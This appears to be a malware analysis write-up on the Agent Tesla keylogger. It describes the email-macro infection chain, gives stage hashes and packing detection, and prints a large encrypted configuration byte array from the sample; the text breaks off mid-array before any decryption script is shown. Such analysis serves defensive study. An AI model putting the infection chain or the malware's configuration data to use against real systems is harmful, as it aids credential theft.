Deep Analysis Agent Tesla Malware

19 minute read

Agent Tesla

Agent Tesla is a keylogger and information stealer. Security researchers discovered it in late 2014, the malware was sold in vinous forms and marketplaces and malware is owned by agentTesla.com. the malware has many features like screen clogging, clipboard logging, screen capturing, extracting stored passwords from many browsers, it supports all versions of the Windows operating system, and it’s written in .NET

Infect cycle

Agent tesla infect victim’s machine in cycle infect, it starts with Email attachment and this is the most common vector to infect victims machine by using social engineering and after satisfying user to enable macro embedded into an Email attachment. Malware will connect with c2 to download .Net malware into the system. .Net malware can be packed and obfuscated to evasion anti-viruses and security solutions.

Figure(1): How Malware Infect Machine.

Stage 1

Aritfacts

No.	Description	info
1	MD5 Hash	af98b88c0b5dc353fbe536bd6fb8c4ec
2	SHA1 Hash	91dcc7418323004579a58f6fa3ea4f969127cde6
3	File Size	200 KB
4	VirusTotal Detection	55/70

Identify packed

From some basic static analysis of the first stage, we can identify that the first stage is packed and we can see that with Detect it Easy tool to identify entropy of malware in the next figure.

Figure(2): Identify Packed Malware.

Unpacking

To fast the process of unpacking, I will use UNPACME website to unpack the first stage of malware, UNPACME will only extract packed or encrypted Windows Portable Executable (PE) files that are embedded in the submission.

Stage 2

Artifacts

No.	Description	info
1	MD5 Hash	ee1aa7d0c4291a2bc16599b15d8664dc
2	SHA1 Hash	5862a0b6f72530d3ece74e4252d10c95f51e1915
3	File Size	216 KB
4	VirusTotal Detection	No Match

Configuration Extraction

The malware starts to hide its configuration and uses a function in a lot of places into code to hide its information.

Figure(3): Obfuscation Function.

Then, it uses a decryption function to decrypt a lot of strings that are used by malware as configuration information to help malware in obfuscating itself and do not show any information about it till the user runs it.

Figure(4): Encrypted Array With Decryption Algorithm.

After that, we will use script python to extract the configuration of malware by simulation the process of decryption of a large array.

encrypted = b'\x98\x9b\x99\xd0\xd7\xd6\xd5\x80\xef\xee\x8d\xc5\xc2\x87\xec\xed\x80\xd6\xd5\x83\xcd\xcc\xc5\xc4\xcb\xca\xef\xfc\xfb\xe8\xd0\xd1\xd5\xc3\xc0\xd6\xe3\xe2\xd3\xfe\xf1\xbf\xe2\xf3\xb8\xbb\xec\xf7\xa4\xd4\xfa\xf3\xfb\xfc\xe8\xd1\xf7\xfd\xf7\xe5\xfe\xd4\xfc\xf4\x83\x85\x81\x87\x89\xa2\x83\x89\x87\xa4\xa3\xac\xa7\x92\x90\x8d\xae\x9a\x9f\xb5\x9b\x91\x9b\x89\x9a\xb0\x98\x90\x9f\x99\x9d\x9b\xad\x86\xa7\xad\xab\x84\xa9\xb4\x86\xa2\xb4\xa0\x84\xab\xab\xa7\x9b\x9e\x8b\x94\xb7\xbc\xae\xb2\xa1\xbc\xb6\xa5\xf6\x87\xa6\xbc\x47\x42\x5c\x40\x58\x4a\x0c\x7d\x50\x4c\x56\x48\x42\x42\x56\x66\x75\x75\x76\x7c\x7d\x6b\x75\x72\x7c\x78\x75\x74\x66\x1a\x75\x79\x43\x5d\x4d\x59\x5c\x40\x54\x54\x2f\x42\x55\x55\x4e\x42\x4a\x51\x53\x58\x59\x4d\x5b\x4f\x4e\x52\x4a\x4a\x3d\x50\x43\x43\x5c\x5a\x38\x22\x32\x28\x3a\x26\x23\x23\x36\x26\x34\x33\x27\x2e\x28\x20\x28\x2f\x2a\x38\x30\x2c\x3a\x38\x20\x5e\x35\x3f\x35\x38\x30\x3c\x04\x0c\x1d\x19\x09\x1d\x0d\x09\x07\x66\x33\x35\x27\x35\x30\x30\x2a\x3d\x37\x35\x3a\x3a\x2e\x78\x0e\x76\x39\x3f\x25\x31\x3b\x39\xce\xce\xda\x8c\xf2\x8a\xc5\xc3\xd1\xcd\xc1\xcc\xc3\x82\x8b\xf9\x9f\xd2\xd6\xca\xd8\xd0\xd0\xd9\xd7\xc1\x95\xed\xe5\xd8\xd2\xc1\xfd\xea\xfa\xec\xd2\xc2\xe5\xee\xf0\xec\xf3\xee\xe0\xf3\xd8\xd2\xf3\xf5\xfc\xf6\xe9\xec\xc0\xde\xe7\xe1\xe2\xf4\xf8\xe3\xc2\xf0\x98\x98\x81\x86\x80\xb3\xbe\x98\x8c\xc6\x89\x8f\x95\x95\x81\x82\x94\x9a\x95\x9c\xdb\xac\xb3\xbb\xa6\xa4\xb1\xa3\xb3\xab\xb9\x9c\xa9\xb9\xa7\xba\xa1\xa9\xb8\x91\x95\xaa\xae\xa5\xa9\xb0\xb7\x99\x99\xae\xaa\xab\xbb\xb1\xa8\x8b\xb7\xa1\xa3\xb8\xb9\xb9\x88\x90\x52\x5b\x44\x46\x5c\x4a\x5e\x71\x71\x57\x41\x53\x52\x52\x54\x64\x4a\x4b\x4a\x56\x48\x5a\x58\x61\x60\x46\x5e\x65\x44\x42\x51\x5d\x7e\x7f\x78\x7a\x34\x20\x23\x6c\x72\x6a\x2e\x68\x76\x6e\x62\x7c\x34\x74\x6a\x7e\x3b\x58\x59\x49\x5f\x7c\x6a\x78\x7a\x7b\x75\x3a\x5f\x45\x58\x49\x46\x38\x05\x03\x06\x0c\x17\x12\x46\x29\x30\x45\x4b\x4b\x56\x49\x45\x5f\x2b\x14\x1c\x45\x44\x4a\x56\x0f\x42\x41\x71\x6b\x3a\x3f\x74\x77\x7c\x63\x72\x6a\x60\x06\x23\x24\x2f\x2a\x75\x69\x68\x68\x6e\x6f\x6d\x6d\x63\x73\x16\x38\x24\x32\x32\x3a\xd2\x84\x90\x99\x80\x9f\xe3\xe6\xca\xd7\xd4\xd1\x9c\x88\x8b\xe6\xc9\xea\xfb\xc0\xec\x91\xdf\xd2\xdf\xef\xe1\xd0\xf2\xe4\xf1\xf9\xcf\xc8\xdc\xa9\xa4\xaf\xca\xdf\xcd\xce\xa0\xd6\xef\xe9\xb7\xb7\xc5\xcb\xea\xf6\xfd\xfa\xef\xee\xfd\xe1\xde\xf0\xfb\xf2\xb4\xd8\xa8\xbe\x86\x82\x80\x80\x9b\x83\xa1\xac\xa3\xae\xb9\xca\xbb\xcb\x80\x92\x88\xd9\x87\x86\x85\x84\xdf\xbe\xbd\xdc\x92\x93\xd4\x9d\xa2\xe6\xa5\xa4\xe3\xbc\xbf\x8e\xad\xac\xab\xa8\xa3\xa6\xb4\xb5\xb6\xb2\xbb\xb8\xaa\xb6\xb3\xb3\xfd\xa9\xb9\xa1\x85\x94\x87\x96\x75\x05\x42\x59\x4b\x48\x7f\x4e\x50\x46\x45\x4f\x55\x4f\x4b\x51\x53\x56\x59\x5e\x5b\x10\x56\x4d\x57\x54\x1f\x5d\x59\x50\x1a\x41\x67\x7b\x43\x45\x45\x43\x53\x23\x6a\x77\x6d\x6d\x3a\x6f\x70\x68\x76\x25\x24\x36\x76\x6b\x71\x71\x2c\x5f\x7f\x76\x62\x72\x6c\x61\x45\x03\x1c\x04\x02\x34\x31\x39\x0b\x0e\x05\x5b\x46\x2a\x29\x4a\x1e\x1f\x57\x00\x07\x06\x05\x5d\x3a\x3b\x4a\x1c\x1b\x4d\x07\x06\x1f\x38\x2d\x3b\x6e\x01\x2d\x20\x27\x79\x60\x02\x29\x2a\x34\x30\x2e\x3e\x2a\x79\x10\x3e\x31\x38\x68\x73\x1f\x02\x10\x22\x38\x39\xe4\xca\xc5\xcc\x94\x8f\xef\xfd\xf7\x99\x80\xf3\xe7\xea\x9e\x85\xf3\xeb\x98\xf8\xda\xdb\xce\xd8\xc1\xc0\x8a\x91\xf8\xd2\xc3\x95\xaa\xd9\xed\xea\xe1\xf9\xe9\xff\xe7\xe7\xa1\xd4\xf5\xe2\xf6\xa5\xd4\xfa\xf5\xfc\xa4\xbf\xd3\xce\xd4\xe6\xfc\xfd\xd8\xf6\xf9\xf0\x9f\x85\x81\x87\x9d\x9b\x8d\x81\x8e\xb0\x8f\x87\x92\x90\x85\x97\x9f\xa7\xb5\x90\x9d\x8d\x93\x8e\x9d\x95\x84\xad\xa1\x9e\x9a\x91\xa5\xbc\xbb\xe9\x80\x9b\x90\x8e\xb7\xb1\xb2\xa4\xa8\xb3\x92\xa0\xa8\xa8\xb1\xb6\xb0\x83\x8b\xb4\xbc\xb7\xbf\xa6\xa5\x9b\xbb\xb4\x4e\x0e\x4e\x5d\x5e\x47\x43\x5e\x56\x06\x0f\x04\x40\x53\x54\x50\x49\x5e\x4a\x1c\x1b\x59\x48\x4d\x42\x52\x43\x42\x41\x58\x46\x51\x2f\x58\x5c\x46\x5c\x43\x69\x63\x65\x77\x68\x56\x74\x6e\x70\x60\x59\x77\x77\x6a\x7b\x58\x79\x69\x50\x6a\x64\x74\x65\x58\x64\x70\x18\x0a\x48\x2b\x1c\x00\x1b\x1e\x07\x11\x2f\x11\x03\x15\x05\x45\x29\x14\x1e\x0d\x09\x1e\x0e\x18\x2e\x3c\x00\x14\x04\x16\x54\x26\x3e\x2a\x2a\x25\x2b\x16\x2d\x23\x26\x26\x38\x61\x04\x35\x2b\x32\x29\x3e\x2a\x00\x3f\x31\x38\x38\x2a\x0f\x09\x30\x38\x33\x31\x2d\xe8\xd9\xc7\xde\xdd\xca\xde\xf1\xf7\xd0\xc5\xd3\x86\xe3\xc5\xd1\xdb\xf2\xca\xd0\xda\xd6\xc9\xd0\x92\xf1\xc2\xde\xc1\xc4\xd1\xc7\xc3\xf9\xe1\xed\xe7\xfa\xe1\xd1\xd7\xf0\xe5\xf3\xa6\xc3\xe5\xf1\xfb\xd8\xf0\xeb\xf1\xf2\xf5\xe8\xff\xd0\xf8\xe3\xf9\xfa\xfd\xe0\x87\xb7\xbd\x9a\x8b\x9d\xcc\xa9\x83\x97\x81\xd6\xb5\x93\x85\x97\xcd\xa8\x8c\x98\x8c\xa3\xcb\xae\x86\x92\x82\xad\xa3\x84\x91\x87\xea\x8f\xa9\xbd\xaf\x9b\xa3\xbf\xa1\xab\xe0\x83\xb4\xa8\xb3\xb6\xbf\xa9\x8c\xb6\xac\xbc\xb4\x81\x87\xa0\xb5\xa3\xf6\x93\xb5\xa1\x4b\x68\x47\x46\x42\x0f\x62\x42\x54\x4c\x6d\x40\x56\x4b\x41\x76\x4e\x4e\x5c\x50\x51\x63\x7f\x55\x40\x5c\x5d\x54\x66\x5b\x41\x46\x56\x5e\x7b\x6c\x7c\x2f\x48\x6c\x76\x62\x4b\x6e\x6b\x62\x70\x64\x51\x74\x75\x7c\x6a\x7e\x40\x48\x61\x76\x62\x31\x52\x76\x60\x74\x2b\x06\x01\x0e\x01\x2e\x01\x04\x05\x0c\x3c\x34\x15\x02\x16\x45\x3e\x1a\x0c\x18\x3c\x0d\x1d\x0b\x17\x31\x02\x10\x00\x12\x27\x1a\x2c\x3f\x3f\x28\x3c\x2a\x10\x0f\x30\x22\x36\x24\x6b\x05\x36\x2a\x2d\x28\x3d\x2b\x02\x0a\x2f\x38\x20\x73\x14\x30\x22\x36\x17\x30\xc4\xdf\xea\xdb\xc1\xd8\xdf\xc8\xd0\xe0\xc5\xcf\xd2\xe5\xd6\xca\xcd\xc8\xdd\xcb\xe2\xea\xcf\xd8\xc0\x93\xf4\xd0\xc2\xd6\xf7\xdd\xef\xef\xe7\xfd\xcd\xe7\xe9\xe9\xed\xf7\xdc\xd4\xf5\xe2\xf6\xa5\xde\xfa\xec\xf8\xd1\xed\xfe\xf4\xe6\xe6\xfd\xde\xe4\xf5\xfd\xe1\x9f\x86\xb4\xbc\x9d\x8a\x9e\xcd\xa6\x82\x94\x80\xb5\x97\x91\x91\x94\x92\x93\xaa\x8e\x8a\x88\x93\x9b\x98\xac\xa2\x86\x82\x80\x9b\xa3\xa0\x94\x9c\xbd\xaa\xbe\xed\x86\xa2\xb4\xa0\x85\xa8\xa9\xaa\xbe\xb4\xf8\x9d\xac\xbe\xbb\xb2\xbc\x90\xbf\xbc\xb9\xb3\xbb\x89\x6e\x59\x49\x4e\x41\x41\x70\x78\x51\x46\x52\x01\x62\x46\x50\x44\x6c\x52\x4e\x58\x52\x5b\x55\x6b\x5b\x45\x51\x5d\x52\x5e\x68\x60\x79\x6e\x7a\x29\x4a\x6e\x78\x6c\x41\x6a\x74\x73\x6f\x68\x47\x64\x6e\x7a\x74\x70\x70\x7e\x5b\x6f\x7d\x66\x60\x4d\x55\x7e\x60\x67\x03\x04\x34\x3c\x1d\x0a\x1e\x4d\x26\x02\x14\x00\x55\x51\x54\x45\x38\x09\x17\x0e\x0d\x1a\x0e\x4e\x44\x43\x33\x19\x04\x18\x19\x10\x16\x08\x20\x3b\x21\x22\x29\x11\x17\x30\x25\x33\x66\x03\x25\x31\x3b\x0e\x2a\x38\x30\x2a\x1f\x32\x28\x1e\x35\x35\x3f\x36\x08\x00\xd8\xca\xc6\xf5\xfb\xdc\xc9\xdf\x82\xe7\xc1\xd5\xc7\xeb\xcd\xc0\xd8\xda\xd7\x99\xfc\xcd\xd3\xca\xc1\xd6\xc2\xdd\xdf\xd2\xd6\xd4\xe5\xd7\xdd\xfa\xeb\xfd\xac\xc9\xe3\xf7\xe1\xc4\xea\xe2\xe9\xe0\xf4\xef\xeb\xb9\xdc\xed\xf3\xea\xe1\xf6\xe2\xd4\xfa\xf2\xf9\xf0\x84\x9f\x9b\xc9\xac\x9d\x83\x9a\x91\x86\x92\xbd\xb3\x94\x81\x97\xda\xbf\x99\x8d\x9f\xba\x8c\x94\x91\xd3\xa0\x83\x9f\x81\x95\x96\xb3\x8e\xb8\xa0\xad\xef\x9c\xbf\xab\xb5\xa1\xa2\xbf\xe7\x86\xb7\xb5\xac\xab\xbc\xac\x83\x89\xae\xb7\xa1\xf0\x95\xb7\xa3\xb5\x96\x45\x48\x4b\x46\x4d\x6c\x43\x4e\x61\x4c\x43\x7d\x64\x55\x4b\x52\x49\x5e\x4a\x65\x6b\x4c\x59\x4f\x12\x77\x51\x45\x57\x64\x58\x50\x63\x7b\x66\x60\x7c\x2f\x3a\x4b\x67\x6d\x72\x68\x74\x27\x4d\x6b\x79\x47\x4b\x75\x7b\x76\x6c\x73\x7b\x61\x25\x4d\x65\x72\x60\x61\x03\x05\x0f\x35\x03\x00\x08\x18\x0e\x06\x13\x3d\x25\x0f\x16\x0a\x17\x12\x0d\x14\x28\x16\x19\x0a\x17\x01\x21\x38\x26\x57\x27\x00\x38\x2d\x19\x00\x1e\x6f\x1f\x38\x30\x25\x1c\x14\x35\x22\x36\x65\x1e\x3a\x2c\x38\x1d\x30\x33\x2a\x3d\x3d\x13\x3e\x39\x20\x3b\x3b\xf6\xe8\xc7\xc6\xd9\xc0\xc2\xf1\xf7\xd0\xc5\xd3\x86\xe3\xc5\xd1\xdb\xfa\xe8\xe9\xfa\xfe\xe8\xfc\xee\xf0\xdf\xc3\xd3\xf1\xe0\xe5\xd6\xf8\xe1\xfd\xeb\xfc\xa2\xe4\xe6\xfb\xc8\xca\xc3\xde\xdb\xc6\xcf\xc9\xca\xdc\xd0\xcb\xc3\xc8\xc1\xd6\xc2\xcd\xc5\xf8\xf2\xe1\x9d\x8a\x9a\x8c\xb2\xa9\xb8\xbd\xb5\x82\x92\x84\xba\xa4\xab\xb7\xbf\xbd\xac\xa9\xa2\xac\x95\x89\x97\x80\xac\xb9\x99\x84\x80\xbd\x81\x8e\x91\x96\x8d\x9a\x9e\x9f\x87\x8d\x94\x9e\x93\x94\x81\x97\x89\xb4\xbe\xad\xa9\xbe\xae\xb8\x94\x87\x80\x86\xb7\xa5\xb1\x96\x65\x79\x6d\x6f\x7a\x7f\x7f\x44\x56\x46\x53\x71\x49\x55\x50\x70\x49\x5e\x4a\x69\x69\x7c\x53\x4f\x57\x75\x64\x61\x41\x52\x56\x45\x6b\x65\x6d\x65\x22\x2d\x7f\x60\x76\x73\x66\x75\x76\x52\x56\x49\x20\x3b\x38\x39\x3e\x3f\x3c\x48\x61\x76\x62\x7f\x77\x7a\x71\x2f\x4a\x3b\x09\x1a\x1d\x18\x03\x1f\x06\x59\x40\x20\x16\x17\x08\x0c\x19\x1a\x0c\x10\x11\x11\x46\x5d\x27\x21\x3c\x4b\x23\x04\x11\x07\x24\x2a\x25\x2c\x74\x1f\x2d\x3e\x31\x34\x2f\x33\x22\x7d\x05\x35\x2a\x37\x31\x3a\x3f\x2b\x35\x32\x3c\x69\x00\x06\x09\x57\x3e\x7b\xd8\xc4\xcc\xc8\xdc\xdb\xc9\xed\xcf\xcc\xd3\xc4\xc1\x89\xc7\xca\xd7\x95\xd5\xc1\xfb\xd1\xd9\xcf\xdd\x81\x80\x80\x8f\xf7\xd9\xd4\xe3\xe7\xa6\xe4\xe1\xfc\xe9\xea\xac\xe0\xef\xec\xa8\xea\xfc\xec\xf7\xfa\xff\xfc\xb1\xf5\xec\xfa\xa8\xc9\xff\xff\xf3\xb9\xdd\xf1\x8f\x85\x9c\x80\x88\x86\x89\x9f\xbe\x97\x8d\x91\xa1\xc9\x90\x88\x8a\xde\x8d\x8b\x92\x94\x99\x84\xd7\xde\x96\xd1\xaa\xb3\x95\x81\xab\x97\x9c\xa6\xbc\x93\xb8\xa2\xb0\xb1\xa3\xb1\xfb\xe2\x94\xaa\xa9\xaf\x8d\x8b\x92\xfa\xed\xef\xe5\xfd\xe0\xff\xe6\xf9\xe5\x85\x65\x78\x7c\x02\x0b\x1d\x6e\x4c\x52\x53\x4c\x48\x45\x46\x50\x4c\x55\x55\x17\x41\x13\x48\x4b\x4a\x1f\x55\x5f\x43\x5b\x1a\x41\x47\x66\x6e\x66\x6a\x61\x6b\x69\x69\x24\x25\x61\x6c\x76\x3c\x38\x23\x76\x6f\x23\x27\x38\x78\x68\x26\x34\x62\x65\x7e\x62\x2c\x57\x7a\x1a\x02\x0d\x0d\x4e\x3b\x09\x15\x16\x59\x40\x5d\x00\x08\x0a\x11\x5a\x18\x17\x15\x11\x0d\x41\x5f\x51\x43\x40\x13\x47\x15\x15\x57\x74\x77\x2a\x77\x15\x6f\x70\x62\x20\x7d\x60\x7d\x24\x79\x19\x79\x75\x39\x66\x79\x62\x39\x33\x33\x26\x73\x33\x3e\x3a\x38\x26\x68\x88\x88\x98\x99\x9e\x9f\x9c\x9d\x80\x9d\x88\x88\x9a\x88\xc2\xca\xd4\xcf\x86\x85\x91\xd9\xd3\xd3\xc6\x8d\xf6\xd0\xda\xc4\xd1\x89\xec\xe4\xe6\xfd\xae\xec\xe3\xe1\xed\xf1\xbd\xa3\xa5\xb7\xb4\xe7\xfb\xad\xae\xbb\xa0\xe4\xde\xdc\xd1\xd8\xed\xad\xb9\xf1\xfb\xfb\x9e\xd5\xd4\xc6\x88\x80\x82\x99\xdc\xdf\x86\x8e\x88\x93\xc4\x86\x95\x97\x97\x8b\xc3\xdd\xdf\xcd\xc2\x91\x91\xc7\xc0\xd5\xca\x8e\x8b\x87\x9c\xe2\x9a\x8e\x8e\xb0\xfe\xec\xa6\xae\xa8\xb3\xfa\xf9\xbc\xb4\xb6\xad\xfe\xbc\xb3\xb1\xbd\xa1\xed\xf3\xf5\xe7\xe4\xb7\x4b\x1d\x1e\x0b\x10\x54\x6d\x61\x76\x08\x66\x15\x5b\x1b\x0b\x43\x55\x55\x4c\x07\x02\x59\x53\x53\x46\x13\x53\x5e\x5a\x58\x46\x08\x28\x28\x38\x39\x6c\x6e\x3a\x3b\x20\x3d\x7b\x55\x47\x45\x79\x39\x35\x7d\x77\x77\x6a\x21\x20\x7b\x7d\x7d\x64\x31\x75\x78\x78\x7a\x18\x56\x4a\x4a\x5e\x5f\x0e\x0c\x54\x55\x42\x5f\x1d\x22\x37\x26\x07\x47\x57\x1f\x11\x11\x08\x43\x4e\x15\x1f\x1f\x02\x57\x17\x1a\x26\x24\x3a\x74\x6c\x6c\x7c\x7d\x20\x22\x76\x77\x64\x79\x3f\x12\x33\x35\x25\x65\x71\x39\x33\x33\x26\x6d\x6c\x37\x39\x39\x20\x75\xc9\xc4\xc4\xc6\xdc\x92\x8e\x8e\x92\x93\xc2\xc0\x90\x91\x86\x9b\xc1\xf8\xf9\xe9\xed\xf3\xf3\xfe\xf9\xce\x8c\x9e\xd0\xd8\xda\xc1\xb4\xb7\xee\xe6\xe0\xfb\xac\xee\xed\xef\xef\xf3\xbb\xa5\xa7\xb5\xaa\xf9\xf9\xaf\xa8\xbd\xa2\xbb\xe7\xf2\xe2\xe3\xad\xab\xbb\xf3\x85\x85\x9c\xd7\xd2\x89\x83\x83\x96\xc3\x83\x8e\x8a\x88\x96\xd8\xd8\xd8\xc8\xc9\x9c\x9e\xca\xcb\xd0\xcd\xd6\x95\x97\x85\x86\xce\xf6\xe4\xae\xa6\xa0\xbb\xf2\xf1\xa4\xac\xae\xb5\xe6\xa4\xab\xa9\xb5\xa9\xe5\xfb\xfd\xef\xec\xbf\xb3\xe5\xe6\xf3\xe8\xf1\xb8\xb4\x58\x59\x13\x15\x01\x49\x43\x43\x56\x1d\x1c\x47\x49\x49\x50\x05\x59\x54\x54\x56\x4c\x02\x1e\x1e\x02\x03\x52\x50\x00\x01\x16\x0b\x2c\x79\x69\x7b\x7c\x34\x30\x22\x64\x6c\x6e\x75\x38\x3b\x62\x6a\x74\x6f\x38\x7a\x71\x73\x73\x6f\x2f\x31\x33\x21\x26\x75\x75\x23\x5c\x49\x56\x12\x2a\x2a\x20\x10\x5e\x4c\x06\x0e\x08\x13\x5a\x59\x1c\x14\x16\x0d\x5e\x1c\x13\x11\x1d\x01\x4d\x53\x55\x47\x44\x17\x2b\x7d\x7e\x6b\x70\x34\x09\x03\x06\x3e\x7c\x6e\x20\x28\x2a\x31\x64\x67\x3e\x36\x30\x2b\x7c\x3e\x3d\x3f\x3f\x23\x6b\x75\x77\x65\x9a\xc9\xc9\x9f\x98\x8d\x92\xd6\xea\xec\xed\xe4\xdb\x9b\x8b\xc3\xd5\xd5\xcc\x87\x82\xd9\xd3\xd3\xc6\x93\xd3\xde\xda\xd8\xc6\x88\xa8\xa8\xb8\xb9\xec\xee\xba\xbb\xa0\xbd\xfb\xc8\xe8\xf4\xe1\xf7\xee\xe6\xa4\xb6\xf8\xf0\xf2\xe9\xac\xaf\xf6\xfe\xf8\xe3\xb4\xf6\x85\x87\x87\x9b\xd3\xcd\xcf\xdd\xd2\x81\x81\xd7\xd0\xc5\xda\x9e\xb4\x8e\x95\xb5\x91\x9c\x97\x80\xce\xdc\x96\x9e\x98\x83\xca\xc9\xac\xa4\xa6\xbd\xee\xac\xa3\xa1\xad\xb1\xfd\xe3\xe5\xf7\xf4\xa7\xbb\xed\xee\xfb\xe0\xa4\x8c\xbc\xb5\xb6\x94\xbe\xa1\xb9\xa9\xe9\x05\x4d\x47\x47\x5a\x11\x10\x4b\x4d\x4d\x54\x01\x45\x48\x48\x4a\x48\x06\x1a\x1a\x0e\x0f\x5e\x5c\x04\x05\x12\x0f\x4d\x67\x55\x52\x6f\x5e\x78\x74\x32\x20\x6a\x62\x6c\x77\x3e\x3d\x60\x68\x6a\x71\x3a\x78\x77\x75\x71\x6d\x21\x3f\x31\x23\x20\x73\x77\x21\x22\x37\x54\x10\x2d\x27\x3a\x2a\x3e\x10\x5e\x4c\x06\x0e\x08\x13\x5a\x59\x1c\x14\x16\x0d\x5e\x1c\x13\x11\x1d\x01\x4d\x53\x55\x47\x44\x17\x2b\x7d\x7e\x6b\x70\x34\x0a\x7c\x3f\x7f\x6f\x27\x29\x29\x30\x7b\x66\x3d\x37\x37\x2a\x7f\x3f\x32\x3e\x3c\x22\x6c\x74\x74\x64\x65\xc8\xca\x9e\x9f\x8c\x91\xd7\xeb\x90\xde\x9c\x8e\xc0\xc8\xca\xd1\x84\x87\xde\xd6\xd0\xcb\x9c\xde\xdd\xdf\xdf\xc3\x8b\x95\x97\x85\xba\xe9\xe9\xbf\xb8\xad\xb2\xf6\xc4\xb0\xfd\xbd\xa9\xe1\xeb\xeb\xee\xa5\xa4\xff\xf1\xf1\xe8\xbd\xf1\xfc\xfc\xfe\xe4\xaa\xb6\xb6\xda\xdb\x8a\x88\xd8\xd9\xce\xd3\x99\xa5\xd4\x9c\xda\xc8\x82\x8a\x94\x8f\xc6\xc5\x98\x90\x92\x89\xd2\x90\x9f\x9d\x99\x85\xc9\xd7\xe9\xfb\xf8\xab\xaf\xf9\xfa\xef\xfc\xb8\x86\xf4\xbb\xfb\xeb\xa3\xb5\xb5\xac\xe7\xe2\xb9\xb3\xb3\xa6\xf3\xb3\xbe\xba\xb8\xa6\xe8\x08\x08\x18\x19\x4c\x4e\x1a\x1b\x00\x1d\x5b\x67\x10\x5a\x18\x0a\x5c\x54\x56\x4d\x00\x03\x5a\x52\x5c\x47\x10\x52\x59\x5b\x5b\x47\x37\x29\x2b\x39\x3e\x6d\x6d\x3b\x34\x21\x3e\x7a\x40\x30\x79\x39\x35\x7d\x77\x77\x6a\x21\x20\x7b\x7d\x7d\x64\x31\x75\x78\x78\x7a\x18\x56\x4a\x4a\x5e\x5f\x0e\x0c\x54\x55\x42\x5f\x1d\x21\x5c\x18\x46\x54\x1e\x16\x10\x0b\x42\x41\x14\x1c\x1e\x05\x56\x14\x1b\x19\x25\x39\x75\x6b\x6d\x7f\x7c\x2f\x23\x75\x76\x63\x78\x3c\x02\x7c\x27\x67\x77\x3f\x31\x31\x28\x63\x6e\x35\x3f\x3f\x22\x77\x37\x3a\xc6\xc4\xda\x94\x8c\x8c\x9c\x9d\xc0\xc2\x96\x97\x84\x99\xdf\xe3\x8b\x8b\xc5\x85\x91\xd9\xd3\xd3\xc6\x8d\x8c\xd7\xd9\xd9\xc0\x95\xe9\xe4\xe4\xe6\xfc\xb2\xae\xae\xb2\xb3\xe2\xe0\xb0\xb1\xa6\xbb\xe1\xdd\xa9\xa8\xe3\xa3\xb3\xfb\xfd\xfd\xe4\xaf\xaa\xf1\xfb\xfb\x9e\xcb\x8b\x86\x82\x80\x9e\xd0\xc0\xc0\xd0\xd1\x84\x86\xd2\xd3\xd8\xc5\x83\xbf\xcf\xcd\x81\xc1\xdd\x95\x9f\x9f\x82\xc9\x97\x9a\xa4\xbf\xba\xa6\xa2\xf3\xaa\xa2\xac\xb7\xe0\xa2\xa9\xab\xab\xb7\xe7\xf9\xfb\xe9\xee\xbd\xbd\xeb\xe4\xf1\xee\xaa\x95\x83\x86\x99\x57\x17\x07\x4f\x41\x41\x58\x13\x75\x4a\x4e\x45\x49\x50\x57\x05\x68\x7f\x68\x5a\x4c\x5a\x58\x58\x5c\x47\x59\x50\x5a\x47\x5b\x59\x63\x68\x71\x6b\x62\x60\x6e\x7f\x66\x64\x63\x69\x74\x68\x69\x60\x61\x60\x63\x29\x63\x62\x61\x5e\x7d\x63\x69\x45\x79\x54\x7b\x78\x1a\x1e\x1c\x0c\x26\x0e\x1f\x05\x11\x0b\x01\x54\x57\x55\x27\x0a\x0a\x02\x2b\x00\x0d\x0b\x19\x10\x36\x01\x19\x07\x13\x2b\x23\x26\x29\x39\x21\x39\x3a\x61\x1f\x25\x27\x2f\x2c\x13\x23\x20\x16\x20\x3b\x3f\x3f\x6d\x6e\x6e\x51\x57\x5f\x59\x65\x61\x64\x77\x59\x5f\xa7\xa1\x9d\x99\x9e\x8f\xed\xc9\xc6\xc0\xc8\xc0\xd2\xf8\xcd\xc1\xd9\xda\xc8\xcd\xd7\xd0\xd2\x92\xc1\xd6\xde\xd5\xf2\xd8\xd7\xc0\xe7\xee\xe6\xfd\xea\xe0\xef\xf8\xef\xe6\xee\xf5\xab\xaa\xa9\xa8\xb7\xb6\xb5\xb4\xb3\xb2\xb1\xb0\xbf\xbe\xbd\xbc\xbb\xba\xb9\xb8\xc7\xc6\xc5\xc4\xc3\xc2\xc1\x95\xef\xe9\xcd\xcc\xeb\xed\x89\x90\x96\x8f\x91\x89\x9f\x8d\x88\xd2\x94\x9c\x82\x9c\xdb\x93\x95\x81\xab\xf0\xe8\xab\xa1\xba\xa2\xa9\xa3\xb1\xb9\xfc\x85\xa8\xaa\xb1\xbf\xb5\xac\xf4\x9a\xb6\xaf\xad\xbd\xa0\xb9\xa5\xbf\xb8\xba\xef\x0a\x4d\x47\x5b\x43\x02\x48\x4c\x56\x42\x1b\x01\x48\x46\x49\x40\x07\x19\x43\x09\x43\x1d\x31\x37\x3f\x39\x4b\x00\x4b\x74\x5b\x5b\x7e\x6e\x66\x7d\x23\x4b\x65\x7e\x72\x6c\x73\x68\x72\x6e\x6b\x6b\x20\x3b\x7e\x76\x6c\x72\x31\x79\x73\x67\x71\x2a\x36\x79\x75\x78\x0f\x56\x4a\x12\x5e\x12\x4e\x56\x42\x05\x09\x0d\x03\x09\x05\x08\x1f\x46\x5a\x02\x4f\x02\x5e\x70\x78\x30\x1f\x1f\x02\x12\x1a\x01\x67\x1f\x31\x39\x2b\x75\x6c\x36\x70\x3e\x4d\x4b\x4b\x4d\x69\x68\x57\x51\x1b\x36\x31\x34\x35\x38\x21\x1c\x20\x34\x24\x36\x17\x3d\xd8\xc4\xc5\xcc\xf2\xe8\xc3\xc2\xc5\xcf\xc5\xfd\xe5\xcf\xd6\xca\xd7\xde\xe4\xec\xcd\xda\xce\x9d\xf6\xd2\xc4\xd0\xea\x84\x82\x85\xc9\xe3\xfa\xe6\xe3\xea\xd0\xce\xea\xf1\xef\xec\xe3\xdb\xd1\xf6\xff\xe9\xb8\xdd\xff\xeb\xfd\xc4\xf3\xfd\xf4\xf4\xee\xc4\xc6\xc2\x8b\x99\x8d\xc9\xa7\x9d\x83\x83\xa0\x91\x81\x97\x83\xc7\xa6\x97\x95\x8c\x8b\x9c\x8c\xa3\xb5\x8f\x9b\x97\x99\x84\x9b\xab\xa1\x86\xaf\xb9\xe8\x8d\xaf\xbb\xad\x8e\xad\xac\xac\x8f\xa9\xb1\xab\x80\xaa\xb2\xbb\xf9\x8e\xad\xb5\xab\xb3\xb0\xa9\xf1\x94\xa5\xbb\xa2\x59\x4e\x5a\x6a\x41\x4c\x6f\x42\x41\x72\x71\x01\x64\x55\x4b\x52\x49\